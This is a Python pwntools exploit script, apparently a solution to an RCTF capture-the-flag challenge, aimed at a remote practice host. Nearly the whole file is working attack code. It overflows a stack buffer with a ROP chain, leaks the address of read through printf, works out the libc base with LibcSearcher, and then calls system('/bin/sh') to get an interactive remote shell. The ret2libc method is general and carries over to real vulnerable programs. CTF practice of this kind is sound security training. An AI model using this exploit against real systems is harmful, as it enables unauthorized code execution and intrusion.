from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
# io  = remote('192.168.95.131',10001)
# io = process("./81f42c219e81421ebfd1bedd19cf7eff")
io = remote('111.200.241.244',58268)

elf = ELF('./81f42c219e81421ebfd1bedd19cf7eff')

printf_plt_addr = elf.plt["printf"]
read_got_addr = elf.got["read"]
puts_plt_addr   = elf.plt["puts"]
main_addr = elf.symbols["main"]
pop_rdi_ret_addr = 0x00000000004008a3
pop_rsi_r15_addr = 0x00000000004008a1
pop_r12_r13_r14_r15_addr = 0x000000000040089c

pause()

io.recvuntil(b"Welcome to RCTF")

#  ida 反编译出来，应该是先 printf 再 跳转到这个 rop 上，但是 实际上并不是这样，所以 保险起见，还是 got 到确认已经执行过的函数上
payload = flat(b"A"*0x18,pop_r12_r13_r14_r15_addr, pop_rdi_ret_addr, read_got_addr,printf_plt_addr,main_addr)

pause()

io.sendline(payload)

print(io.recvuntil(b"\x40"))
# print(io.recv())

real_printf_addr = io.recv(6)
real_printf_addr = real_printf_addr[-6:len(real_printf_addr)]
print(real_printf_addr)
real_printf_addr = real_printf_addr.ljust(8, b"\x00")
real_printf_addr = u64(real_printf_addr)
print(hex(real_printf_addr))

pause()

libc = LibcSearcher("read", real_printf_addr)
base_addr = real_printf_addr - libc.dump("read")
real_system_addr = base_addr + libc.dump("system")
real_str_bin_sh_addr = base_addr + libc.dump("str_bin_sh")

payload = flat(b"AAAA")
payload += flat(b"A"*(0x18-len(payload)),pop_r12_r13_r14_r15_addr, pop_rdi_ret_addr, real_str_bin_sh_addr,real_system_addr,main_addr)

io.sendline(payload)

io.interactive()

pause()